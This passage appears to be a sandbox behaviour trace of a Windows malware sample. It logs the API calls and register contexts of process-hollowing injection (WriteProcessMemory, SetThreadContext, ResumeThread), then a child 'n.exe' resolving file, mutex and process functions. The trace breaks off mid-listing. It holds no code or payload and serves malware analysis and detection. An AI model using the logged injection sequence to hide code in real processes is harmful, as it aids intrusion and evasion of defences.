lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x43829c, Ebp=0x0, Eip=0x771401c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0041.002] LoadLibraryA (lpLibFileName="ntdll") returned 0x77130000 [0041.003] NtQueryInformationProcess (in: ProcessHandle=0x1bc, ProcessInformationClass=0x0, ProcessInformation=0x18c3dc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x18c3dc, ReturnLength=0x0) returned 0x0 [0041.003] ReadProcessMemory (in: hProcess=0x1bc, lpBaseAddress=0x7efde000, lpBuffer=0x18c428, nSize=0x1e8, lpNumberOfBytesRead=0x18c61c | out: lpBuffer=0x18c428*, lpNumberOfBytesRead=0x18c61c*=0x1e8) returned 1 [0041.003] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x400000, dwSize=0x19000, flNewProtect=0x4, lpflOldProtect=0x18c628 | out: lpflOldProtect=0x18c628*=0x2) returned 1 [0041.003] WriteProcessMemory (in: hProcess=0x1bc, lpBaseAddress=0x400000, lpBuffer=0x628370*, nSize=0x19000, lpNumberOfBytesWritten=0x18c610 | out: lpBuffer=0x628370*, lpNumberOfBytesWritten=0x18c610*=0x19000) returned 1 [0041.007] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0041.007] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0041.007] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x40b000, dwSize=0x2636, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0041.007] VirtualProtectEx (in: hProcess=0x1bc, lpAddress=0x40e000, dwSize=0xaad5, flNewProtect=0x4, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0041.007] SetThreadContext (hThread=0x1b8, lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x40a9d0, Ebp=0x0, Eip=0x771401c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0041.008] ResumeThread (hThread=0x1b8) returned 0x1 [0041.008] ExitProcess (uExitCode=0x0) [0041.009] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22f07d0 | out: hHeap=0x22f0000) returned 1 Thread: id = 2 os_tid = 0x994 Thread: id = 3 os_tid = 0x9e0 Thread: id = 4 os_tid = 0xa6c Process: id = "2" image_name = "n.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe" page_root = "0x79c9c000" os_pid = "0xa70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x984" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xa74 [0041.076] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0041.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0041.102] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0041.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0041.104] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0041.104] 